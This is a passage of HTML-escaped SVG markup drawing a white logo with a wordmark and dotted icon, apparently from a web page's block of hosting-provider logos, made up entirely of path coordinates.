        &lt;svg width=&quot;114&quot; height=&quot;20&quot; viewBox=&quot;0 0 114 20&quot; fill=&quot;none&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;a-fade-up block-hosts-logos__image&quot;&gt;
            &lt;g clip-path=&quot;url(#clip0_6604_6313)&quot;&gt;
                &lt;path d=&quot;M31.3129 12.3775C31.3526 13.1348 31.7103 13.839 32.2932 14.3306C32.8893 14.8222 33.6577 15.0614 34.6115 15.0614C35.4461 15.0614 36.1217 14.8753 36.6251 14.5166C37.1285 14.1844 37.4199 13.6131 37.3934 13.0152C37.4199 12.6034 37.261 12.2181 36.9695 11.9258C36.6383 11.6335 36.2542 11.4209 35.8302 11.3146C35.1679 11.1286 34.479 10.9824 33.8034 10.8628C33.0218 10.73 32.2667 10.5307 31.5249 10.2517C30.9155 10.0125 30.3856 9.61391 29.9882 9.08245C29.5907 8.56428 29.392 7.87339 29.392 7.02306C29.3788 6.27902 29.5907 5.54826 30.0014 4.9238C30.4253 4.29934 31.0215 3.79445 31.7236 3.48886C33.3662 2.79797 35.2341 2.81125 36.8635 3.52872C37.5921 3.86088 38.2148 4.37905 38.6784 5.03009C39.1288 5.68113 39.3673 6.43845 39.3938 7.22235H37.1815C37.1285 6.55803 36.7841 5.93357 36.2674 5.52169C35.7375 5.09652 35.0619 4.87065 34.2406 4.87065C33.4457 4.87065 32.8098 5.04338 32.3329 5.38882C31.8693 5.72099 31.5911 6.26573 31.6176 6.85033C31.6043 7.24893 31.7501 7.63423 32.0415 7.91325C32.3594 8.19226 32.7436 8.39156 33.1675 8.49785C33.6312 8.63072 34.3068 8.77687 35.1811 8.92302C35.9627 9.05588 36.7311 9.25518 37.4597 9.54748C38.0691 9.78663 38.6122 10.1852 39.0229 10.7034C39.4203 11.2083 39.6322 11.8859 39.6322 12.7229C39.6455 13.4936 39.4203 14.2509 38.9831 14.8886C38.5327 15.5397 37.9101 16.0578 37.1947 16.39C36.3734 16.762 35.4858 16.948 34.585 16.9215C33.6047 16.948 32.6244 16.7354 31.7368 16.3369C30.9552 15.9781 30.2928 15.4201 29.8159 14.7026C29.3523 13.9852 29.1006 13.1614 29.1006 12.3111L31.3129 12.3775Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M41.5928 9.14884C41.977 8.39151 42.5731 7.76705 43.315 7.35517C44.0833 6.91672 44.9577 6.70413 45.8452 6.71742C46.7328 6.70413 47.6071 6.90343 48.3887 7.30202C49.1173 7.68733 49.7135 8.25865 50.1241 8.96283C50.5613 9.73344 50.7865 10.5971 50.7733 11.4873C50.7733 11.753 50.7468 12.0187 50.7203 12.2844H43.1958V12.404C43.2488 13.2809 43.527 13.9718 44.0171 14.4767C44.5073 14.9816 45.1696 15.234 45.991 15.234C46.5738 15.2606 47.1435 15.0879 47.6336 14.769C48.084 14.4634 48.3887 13.9984 48.508 13.4669H50.6143C50.4553 14.4501 49.9254 15.3536 49.1438 15.9781C48.349 16.6291 47.3422 16.9613 46.1499 16.9613C45.2094 16.9878 44.2688 16.762 43.4342 16.3235C42.6791 15.9116 42.0565 15.2872 41.6458 14.5298C41.2087 13.7061 40.9967 12.776 41.01 11.846C40.957 10.9159 41.1689 9.98588 41.5928 9.14884ZM48.6272 10.7432C48.5742 10.0789 48.2563 9.46771 47.7661 9.02926C47.2495 8.60409 46.5871 8.39151 45.9247 8.41808C45.2756 8.4048 44.6397 8.63067 44.1363 9.05583C43.6329 9.481 43.3282 10.0922 43.2753 10.7432H48.6272Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M57.9406 6.82422V8.8039H57C56.1257 8.8039 55.5031 9.08291 55.1057 9.65423C54.7215 10.2255 54.5228 10.943 54.5228 11.8199V16.8422H52.4297V6.82422H54.2976L54.536 8.32559C54.8142 7.87385 55.1851 7.48854 55.6488 7.22281C56.0992 6.95708 56.7086 6.82422 57.4769 6.82422H57.9406Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M58.6025 6.82422H60.8678L63.6233 14.5702L66.339 6.82422H68.5646L64.8818 16.8422H62.3118L58.6025 6.82422Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M69.5059 9.14884C69.8901 8.39151 70.4862 7.76705 71.2281 7.35517C71.9964 6.91672 72.8708 6.70413 73.7583 6.71742C74.6459 6.70413 75.5202 6.90343 76.3018 7.30202C77.0304 7.68733 77.6266 8.25865 78.0372 8.96283C78.4744 9.73344 78.6996 10.5971 78.6863 11.4873C78.6863 11.753 78.6599 12.0187 78.6334 12.2844H71.1089V12.404C71.1618 13.2809 71.44 13.9718 71.9302 14.4767C72.4203 14.9816 73.0827 15.234 73.904 15.234C74.4869 15.2606 75.0566 15.0879 75.5467 14.769C75.9971 14.4634 76.3018 13.9984 76.421 13.4669H78.5274C78.3684 14.4501 77.8385 15.3536 77.0569 15.9781C76.2621 16.6291 75.2553 16.9613 74.063 16.9613C73.1225 16.9878 72.1819 16.762 71.3473 16.3235C70.5922 15.9116 69.9696 15.2872 69.5589 14.5298C69.1217 13.7061 68.9098 12.776 68.923 11.846C68.8701 10.9159 69.082 9.98588 69.5059 9.14884ZM76.5403 10.7432C76.4873 10.0789 76.1693 9.46771 75.6792 9.02926C75.1625 8.60409 74.5002 8.39151 73.8378 8.41808C73.1887 8.4048 72.5528 8.63067 72.0494 9.05583C71.546 9.481 71.2413 10.0922 71.1883 10.7432H76.5403Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M88.118 7.32976C88.8334 7.74164 89.4162 8.35282 89.8004 9.09686C90.2243 9.94719 90.423 10.8905 90.4098 11.8339C90.423 12.7639 90.2243 13.6807 89.8004 14.5044C89.4162 15.2485 88.8466 15.8862 88.118 16.3114C87.3761 16.7498 86.5416 16.9757 85.6805 16.9624C85.0181 16.9757 84.3557 16.8296 83.7464 16.5373C83.2165 16.2715 82.7661 15.8729 82.4216 15.3946L82.1699 16.8429H80.3418V3.14453H82.4481V8.31296C83.243 7.25004 84.316 6.7053 85.6805 6.7053C86.5416 6.69201 87.3761 6.90459 88.118 7.32976ZM87.4556 14.252C87.9988 13.6275 88.2637 12.8303 88.2637 11.8339C88.2637 10.8507 87.9988 10.0535 87.4556 9.4423C86.3826 8.2731 84.5545 8.19338 83.3887 9.28287C83.3357 9.33601 83.2827 9.38916 83.2297 9.4423C82.6998 10.0535 82.4349 10.8507 82.4349 11.8339C82.4349 12.8303 82.6998 13.6275 83.2297 14.2653C83.7464 14.8897 84.528 15.2352 85.3361 15.2086C86.1441 15.2086 86.9257 14.8632 87.4556 14.252Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M94.1592 16.3231C93.4041 15.9112 92.7683 15.2867 92.3708 14.5294C91.9337 13.7057 91.7217 12.7756 91.735 11.8323C91.7217 10.9022 91.9337 9.98546 92.3708 9.1617C92.7815 8.39109 93.4041 7.76662 94.1592 7.35475C95.8284 6.49113 97.8155 6.49113 99.4847 7.35475C100.24 7.76662 100.862 8.40437 101.273 9.1617C101.71 9.98546 101.922 10.9022 101.909 11.8323C101.922 12.7623 101.71 13.6924 101.273 14.5294C100.862 15.2867 100.24 15.9112 99.4847 16.3231C97.8155 17.1734 95.8284 17.1734 94.1592 16.3231ZM98.9548 14.2371C99.4979 13.6127 99.7629 12.8155 99.7629 11.8456C99.7629 10.8757 99.4979 10.0652 98.9548 9.454C97.8552 8.27151 96.0139 8.20508 94.8348 9.30785C94.7818 9.361 94.7421 9.40086 94.6891 9.454C94.1592 10.0785 93.8943 10.8757 93.8943 11.8456C93.8943 12.8288 94.1592 13.6259 94.6891 14.2371C95.7887 15.4196 97.63 15.486 98.809 14.3833C98.862 14.3301 98.915 14.277 98.9548 14.2371Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M105.684 3.14453H103.578V16.8429H105.684V3.14453Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M108.744 8.68502H107.009V6.82492H108.744V4.02148H110.877V6.82492H113.275V8.68502H110.877V13.9066C110.877 14.2919 110.957 14.5709 111.115 14.7436C111.274 14.9031 111.539 14.9828 111.91 14.9828H113.5V16.8429H111.473C110.519 16.8429 109.83 16.617 109.393 16.1786C108.956 15.7401 108.744 15.0492 108.744 14.1192V8.68502Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47474 1.2297C8.48798 1.2297 8.48798 1.21641 8.48798 1.21641L8.47474 1.20313C8.47474 1.20313 8.44824 1.20312 8.44824 1.21641C8.44824 1.2297 8.46149 1.2297 8.47474 1.2297Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.09052 2.05433C6.11702 2.05433 6.13027 2.04104 6.13027 2.01447C6.13027 1.9879 6.11702 1.97461 6.09052 1.97461C6.06403 1.97461 6.05078 1.9879 6.05078 2.01447C6.05078 2.04104 6.06403 2.05433 6.09052 2.05433Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88524 2.08013C6.92498 2.08013 6.95148 2.05356 6.95148 2.0137C6.95148 1.97384 6.92498 1.94727 6.88524 1.94727C6.8455 1.94727 6.819 1.97384 6.819 2.0137C6.80576 2.05356 6.8455 2.08013 6.88524 2.08013Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.67965 2.10788C7.73263 2.10788 7.77238 2.06803 7.77238 2.01488C7.77238 1.96173 7.73263 1.92188 7.67965 1.92188C7.62666 1.92188 7.58691 1.96173 7.58691 2.01488C7.58691 2.06803 7.62666 2.10788 7.67965 2.10788Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47512 2.12079C8.52811 2.12079 8.5811 2.08093 8.5811 2.0145C8.5811 1.94806 8.54136 1.9082 8.47512 1.9082C8.42213 1.9082 8.36914 1.94806 8.36914 2.0145C8.36914 2.06764 8.40888 2.12079 8.47512 2.12079Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50068 2.8512C4.51393 2.8512 4.54042 2.83792 4.54042 2.81134C4.54042 2.78477 4.52717 2.77148 4.50068 2.77148C4.47418 2.77148 4.46094 2.78477 4.46094 2.81134C4.46094 2.82463 4.47418 2.8512 4.50068 2.8512Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.2953 2.89186C5.33505 2.89186 5.37479 2.852 5.37479 2.81214C5.37479 2.77228 5.33505 2.73242 5.2953 2.73242C5.25556 2.73242 5.21582 2.77228 5.21582 2.81214C5.21582 2.852 5.24231 2.89186 5.2953 2.89186Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.08993 2.93056C6.15617 2.93056 6.20916 2.87742 6.20916 2.81098C6.20916 2.74455 6.15617 2.69141 6.08993 2.69141C6.02369 2.69141 5.9707 2.74455 5.9707 2.81098C5.9707 2.87742 6.02369 2.93056 6.08993 2.93056Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88553 2.97122C6.96501 2.97122 7.0445 2.90479 7.0445 2.81178C7.0445 2.73206 6.97826 2.65234 6.88553 2.65234C6.80605 2.65234 6.72656 2.71878 6.72656 2.81178C6.72656 2.8915 6.7928 2.97122 6.88553 2.97122Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.6796 2.99741C7.77233 2.99741 7.85182 2.91769 7.85182 2.8114C7.85182 2.71839 7.77234 2.63867 7.66636 2.63867C7.57363 2.63867 7.49414 2.71839 7.49414 2.82468C7.49414 2.9044 7.57362 2.99741 7.6796 2.99741Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47508 3.01187C8.58106 3.01187 8.67379 2.91887 8.67379 2.81258C8.67379 2.70629 8.58106 2.61328 8.47508 2.61328C8.3691 2.61328 8.27637 2.70629 8.27637 2.81258C8.27637 2.91887 8.3691 3.01187 8.47508 3.01187Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.69264 3.66293C3.71913 3.66293 3.74563 3.63636 3.74563 3.60979C3.74563 3.58321 3.71913 3.55664 3.69264 3.55664C3.66614 3.55664 3.63965 3.58321 3.63965 3.60979C3.6529 3.63636 3.66614 3.66293 3.69264 3.66293Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50051 3.71454C4.5535 3.71454 4.60649 3.66139 4.60649 3.60825C4.60649 3.5551 4.5535 3.50195 4.50051 3.50195C4.44752 3.50195 4.39453 3.5551 4.39453 3.60825C4.39453 3.66139 4.43427 3.71454 4.50051 3.71454Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.29569 3.76809C5.38842 3.76809 5.45466 3.70166 5.45466 3.60866C5.45466 3.51565 5.38842 3.44922 5.29569 3.44922C5.20296 3.44922 5.13672 3.51565 5.13672 3.60866C5.13672 3.70166 5.20296 3.76809 5.29569 3.76809Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.0906 3.80875C6.19658 3.80875 6.28931 3.71574 6.28931 3.60945C6.28931 3.50316 6.19658 3.41016 6.0906 3.41016C5.98462 3.41016 5.89189 3.50316 5.89189 3.60945C5.87864 3.71574 5.97137 3.80875 6.0906 3.80875Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88494 3.84745C7.01741 3.84745 7.12339 3.74116 7.12339 3.6083C7.12339 3.47543 7.01741 3.36914 6.88494 3.36914C6.75246 3.36914 6.64648 3.47543 6.64648 3.6083C6.64648 3.74116 6.75246 3.84745 6.88494 3.84745Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.67999 3.87521C7.82571 3.87521 7.94493 3.75563 7.94493 3.60948C7.94493 3.46333 7.82571 3.34375 7.67999 3.34375C7.53427 3.34375 7.41504 3.46333 7.41504 3.60948C7.41504 3.75563 7.53427 3.87521 7.67999 3.87521Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.4754 3.88811C8.63437 3.88811 8.75359 3.75524 8.75359 3.60909C8.75359 3.46294 8.62112 3.33008 8.4754 3.33008C8.32968 3.33008 8.1972 3.46294 8.1972 3.60909C8.18396 3.76853 8.31643 3.88811 8.4754 3.88811Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91139 4.45981C2.93788 4.45981 2.96438 4.43323 2.96438 4.40666C2.96438 4.38009 2.93788 4.35352 2.91139 4.35352C2.88489 4.35352 2.8584 4.38009 2.8584 4.40666C2.8584 4.43323 2.87164 4.45981 2.91139 4.45981Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70614 4.52627C3.77238 4.52627 3.82537 4.47312 3.82537 4.40669C3.82537 4.34026 3.77238 4.28711 3.70614 4.28711C3.6399 4.28711 3.58691 4.34026 3.58691 4.40669C3.58691 4.47312 3.6399 4.52627 3.70614 4.52627Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50081 4.57787C4.59354 4.57787 4.67302 4.49815 4.67302 4.40515C4.67302 4.31214 4.59354 4.23242 4.50081 4.23242C4.40808 4.23242 4.32859 4.31214 4.32859 4.40515C4.31535 4.49815 4.39483 4.57787 4.50081 4.57787Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.29509 4.64433C5.42757 4.64433 5.53355 4.53804 5.53355 4.40517C5.53355 4.27231 5.42757 4.16602 5.29509 4.16602C5.16262 4.16602 5.05664 4.27231 5.05664 4.40517C5.05664 4.53804 5.16262 4.64433 5.29509 4.64433Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.09063 4.68498C6.2496 4.68498 6.36883 4.55212 6.36883 4.40597C6.36883 4.25982 6.23635 4.12695 6.09063 4.12695C5.93166 4.12695 5.81244 4.25982 5.81244 4.40597C5.79919 4.56541 5.93166 4.68498 6.09063 4.68498Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88532 4.72564C7.05753 4.72564 7.20326 4.57949 7.20326 4.40677C7.20326 4.23404 7.05753 4.08789 6.88532 4.08789C6.7131 4.08789 6.56738 4.23404 6.56738 4.40677C6.56738 4.57949 6.69986 4.72564 6.88532 4.72564Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.67994 4.76434C7.87865 4.76434 8.03762 4.60491 8.03762 4.40561C8.03762 4.20631 7.87865 4.04688 7.67994 4.04688C7.48123 4.04688 7.32227 4.20631 7.32227 4.40561C7.32227 4.60491 7.48123 4.76434 7.67994 4.76434Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.11591 5.24378C2.12916 5.24378 2.15566 5.2305 2.15566 5.20392C2.15566 5.19064 2.14241 5.16406 2.11591 5.16406C2.10267 5.16406 2.07617 5.17735 2.07617 5.20392C2.07617 5.21721 2.08942 5.24378 2.11591 5.24378Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91067 5.31024C2.96366 5.31024 3.01665 5.25709 3.01665 5.20395C3.01665 5.1508 2.96366 5.09766 2.91067 5.09766C2.85768 5.09766 2.80469 5.1508 2.80469 5.20395C2.80469 5.25709 2.84443 5.31024 2.91067 5.31024Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70589 5.3767C3.79862 5.3767 3.8781 5.29698 3.8781 5.20397C3.8781 5.11097 3.79862 5.03125 3.70589 5.03125C3.61315 5.03125 3.53367 5.11097 3.53367 5.20397C3.52042 5.29698 3.59991 5.3767 3.70589 5.3767Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50118 5.44316C4.63365 5.44316 4.73963 5.33686 4.73963 5.204C4.73963 5.07114 4.63365 4.96484 4.50118 4.96484C4.36871 4.96484 4.26273 5.07114 4.26273 5.204C4.24948 5.33686 4.36871 5.44316 4.50118 5.44316Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.2959 5.50961C5.46812 5.50961 5.60059 5.37675 5.60059 5.20403C5.60059 5.0313 5.46812 4.89844 5.2959 4.89844C5.12368 4.89844 4.99121 5.0313 4.99121 5.20403C4.99121 5.37675 5.12368 5.50961 5.2959 5.50961Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.0901 5.56122C6.28881 5.56122 6.44778 5.40178 6.44778 5.20248C6.44778 5.00319 6.28881 4.84375 6.0901 4.84375C5.89139 4.84375 5.73242 5.00319 5.73242 5.20248C5.73242 5.40178 5.89139 5.56122 6.0901 5.56122Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.11623 6.07936C2.15597 6.07936 2.19572 6.0395 2.19572 5.99964C2.19572 5.95978 2.15597 5.91992 2.11623 5.91992C2.07649 5.91992 2.03675 5.95978 2.03675 5.99964C2.0235 6.0395 2.06324 6.07936 2.11623 6.07936Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91092 6.16067C3.00365 6.16067 3.06989 6.09424 3.06989 6.00123C3.06989 5.90823 3.00365 5.8418 2.91092 5.8418C2.81819 5.8418 2.75195 5.90823 2.75195 6.00123C2.75195 6.09424 2.81819 6.16067 2.91092 6.16067Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.7061 6.23962C3.82532 6.23962 3.91806 6.14661 3.91806 6.02704C3.91806 5.90746 3.82532 5.81445 3.7061 5.81445C3.58687 5.81445 3.49414 5.90746 3.49414 6.02704C3.49414 6.13333 3.58687 6.23962 3.7061 6.23962Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50098 6.30649C4.67319 6.30649 4.80567 6.17362 4.80567 6.0009C4.80567 5.82818 4.67319 5.69531 4.50098 5.69531C4.32876 5.69531 4.19629 5.82818 4.19629 6.0009C4.19629 6.17362 4.32876 6.30649 4.50098 6.30649Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.32099 6.83753C1.34749 6.83753 1.36073 6.82425 1.36073 6.79767C1.36073 6.7711 1.34749 6.75781 1.32099 6.75781C1.2945 6.75781 1.28125 6.7711 1.28125 6.79767C1.28125 6.82425 1.2945 6.83753 1.32099 6.83753Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.1163 6.91689C2.18253 6.91689 2.23552 6.86374 2.23552 6.79731C2.23552 6.73088 2.18253 6.67773 2.1163 6.67773C2.05006 6.67773 1.99707 6.73088 1.99707 6.79731C1.99707 6.86374 2.05006 6.91689 2.1163 6.91689Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91091 6.99625C3.01689 6.99625 3.10962 6.90324 3.10962 6.79695C3.10962 6.69066 3.01689 6.59766 2.91091 6.59766C2.80493 6.59766 2.7122 6.69066 2.7122 6.79695C2.69895 6.90324 2.79168 6.99625 2.91091 6.99625Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70593 7.07561C3.8649 7.07561 3.98412 6.94274 3.98412 6.79659C3.98412 6.63716 3.85165 6.51758 3.70593 6.51758C3.54696 6.51758 3.42773 6.65044 3.42773 6.79659C3.42773 6.94274 3.54696 7.07561 3.70593 7.07561Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50026 7.15692C4.69897 7.15692 4.85794 6.99748 4.85794 6.79819C4.85794 6.59889 4.69897 6.43945 4.50026 6.43945C4.30155 6.43945 4.14258 6.59889 4.14258 6.79819C4.14258 6.99748 4.30155 7.15692 4.50026 7.15692Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.32112 7.66216C1.36086 7.66216 1.38736 7.63559 1.38736 7.59573C1.38736 7.55587 1.36086 7.5293 1.32112 7.5293C1.28138 7.5293 1.25488 7.55587 1.25488 7.59573C1.25488 7.63559 1.28138 7.66216 1.32112 7.66216Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.116 7.75442C2.19548 7.75442 2.27497 7.68799 2.27497 7.59498C2.27497 7.51527 2.20873 7.43555 2.116 7.43555C2.03652 7.43555 1.95703 7.50198 1.95703 7.59498C1.95703 7.6747 2.02327 7.75442 2.116 7.75442Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.9113 7.83378C3.04378 7.83378 3.14976 7.72749 3.14976 7.59463C3.14976 7.46176 3.04378 7.35547 2.9113 7.35547C2.77883 7.35547 2.67285 7.46176 2.67285 7.59463C2.67285 7.72749 2.77883 7.83378 2.9113 7.83378Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.9113 12.1387C2.77883 12.1387 2.67285 12.245 2.67285 12.3778C2.67285 12.5107 2.77883 12.617 2.9113 12.617C3.04378 12.617 3.14976 12.5107 3.14976 12.3778C3.14976 12.245 3.04378 12.1387 2.9113 12.1387Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70549 7.91314C3.89095 7.91314 4.02343 7.76699 4.02343 7.59426C4.02343 7.42154 3.87771 7.27539 3.70549 7.27539C3.53328 7.27539 3.38756 7.42154 3.38756 7.59426C3.37431 7.76699 3.52003 7.91314 3.70549 7.91314Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.11613 8.56381C2.20886 8.56381 2.28834 8.48409 2.28834 8.3778C2.28834 8.2848 2.20886 8.20508 2.10288 8.20508C2.01015 8.20508 1.93066 8.2848 1.93066 8.39109C1.93066 8.48409 2.01015 8.56381 2.11613 8.56381Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91143 8.65841C3.05715 8.65841 3.17638 8.53883 3.17638 8.39268C3.17638 8.24653 3.05715 8.12695 2.91143 8.12695C2.76571 8.12695 2.64648 8.24653 2.64648 8.39268C2.64648 8.53883 2.76571 8.65841 2.91143 8.65841Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70631 8.75067C3.90502 8.75067 4.06399 8.59123 4.06399 8.39194C4.06399 8.19264 3.90502 8.0332 3.70631 8.0332C3.5076 8.0332 3.34863 8.19264 3.34863 8.39194C3.34863 8.59123 3.5076 8.75067 3.70631 8.75067Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M0.526494 9.21607C0.539742 9.21607 0.539742 9.20279 0.539742 9.20279C0.539742 9.1895 0.526494 9.1895 0.526494 9.1895C0.526494 9.1895 0.5 9.17621 0.5 9.1895C0.5 9.20279 0.513247 9.21607 0.526494 9.21607Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.3218 9.29462C1.37479 9.29462 1.42778 9.25476 1.42778 9.18832C1.42778 9.13518 1.38804 9.08203 1.3218 9.08203C1.25556 9.08203 1.21582 9.12189 1.21582 9.18832C1.21582 9.24147 1.25556 9.29462 1.3218 9.29462Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.1157 9.38883C2.22168 9.38883 2.31441 9.29582 2.31441 9.18953C2.31441 9.08324 2.22168 8.99023 2.1157 8.99023C2.00972 8.99023 1.91699 9.08324 1.91699 9.18953C1.91699 9.29582 2.00972 9.38883 2.1157 9.38883Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91095 9.46819C3.06991 9.46819 3.18914 9.33532 3.18914 9.18917C3.18914 9.04302 3.05667 8.91016 2.91095 8.91016C2.75198 8.91016 2.63275 9.04302 2.63275 9.18917C2.6195 9.34861 2.75198 9.46819 2.91095 9.46819Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M0.526494 9.95898C0.513247 9.95898 0.5 9.97227 0.5 9.98556C0.5 9.99884 0.513247 10.0121 0.526494 10.0121C0.539742 10.0121 0.55299 9.99884 0.55299 9.98556C0.539742 9.97227 0.539742 9.95898 0.526494 9.95898Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.3218 9.88086C1.25556 9.88086 1.21582 9.93401 1.21582 9.98715C1.21582 10.0536 1.26881 10.0934 1.3218 10.0934C1.37479 10.0934 1.42778 10.0403 1.42778 9.98715C1.42778 9.93401 1.37479 9.88086 1.3218 9.88086Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.1157 9.78711C2.00972 9.78711 1.91699 9.88011 1.91699 9.98641C1.91699 10.0927 2.00972 10.1857 2.1157 10.1857C2.22168 10.1857 2.31441 10.0927 2.31441 9.98641C2.31441 9.88011 2.22168 9.78711 2.1157 9.78711Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91058 9.69336C2.75161 9.69336 2.61914 9.82622 2.61914 9.98566C2.61914 10.1451 2.75161 10.278 2.91058 10.278C3.06955 10.278 3.20202 10.1451 3.20202 9.98566C3.20202 9.82622 3.06955 9.69336 2.91058 9.69336Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M0.526919 10.7695C0.513672 10.7695 0.513672 10.7828 0.513672 10.7828L0.526919 10.7961L0.540167 10.7828C0.540167 10.7695 0.526919 10.7695 0.526919 10.7695Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.3218 10.6777C1.26881 10.6777 1.21582 10.7176 1.21582 10.784C1.21582 10.8372 1.25556 10.8903 1.3218 10.8903C1.37479 10.8903 1.42778 10.8505 1.42778 10.784C1.42778 10.7176 1.37479 10.6777 1.3218 10.6777Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.1157 10.584C2.00972 10.584 1.91699 10.677 1.91699 10.7833C1.91699 10.8896 2.00972 10.9826 2.1157 10.9826C2.22168 10.9826 2.31441 10.8896 2.31441 10.7833C2.30117 10.677 2.22168 10.584 2.1157 10.584Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91101 10.5039C2.75204 10.5039 2.63281 10.6368 2.63281 10.7829C2.63281 10.9424 2.76529 11.0619 2.91101 11.0619C3.06998 11.0619 3.1892 10.9291 3.1892 10.7829C3.1892 10.6235 3.05673 10.5039 2.91101 10.5039Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.32125 11.4883C1.26826 11.4883 1.22852 11.5281 1.22852 11.5813C1.22852 11.6344 1.26826 11.6743 1.32125 11.6743C1.37424 11.6743 1.41398 11.6344 1.41398 11.5813C1.40073 11.5281 1.36099 11.4883 1.32125 11.4883Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.32125 8.48484C1.37424 8.48484 1.41398 8.44498 1.41398 8.39183C1.41398 8.33869 1.37424 8.29883 1.32125 8.29883C1.26826 8.29883 1.22852 8.33869 1.22852 8.39183C1.22852 8.44498 1.26826 8.48484 1.32125 8.48484Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91143 11.3145C2.76571 11.3145 2.64648 11.434 2.64648 11.5802C2.64648 11.7263 2.76571 11.8459 2.91143 11.8459C3.05715 11.8459 3.17638 11.7263 3.17638 11.5802C3.17638 11.434 3.05715 11.3145 2.91143 11.3145Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.32112 12.3105C1.28138 12.3105 1.25488 12.3371 1.25488 12.377C1.25488 12.4168 1.28138 12.4434 1.32112 12.4434C1.36086 12.4434 1.38736 12.4168 1.38736 12.377C1.38736 12.3371 1.36086 12.3105 1.32112 12.3105Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.116 12.2188C2.02327 12.2188 1.95703 12.2852 1.95703 12.3782C1.95703 12.4712 2.02327 12.5376 2.116 12.5376C2.19548 12.5376 2.27497 12.4712 2.27497 12.3782C2.27497 12.2985 2.19548 12.2188 2.116 12.2188Z&quot; fill=&quot;white&quot;/&gt;
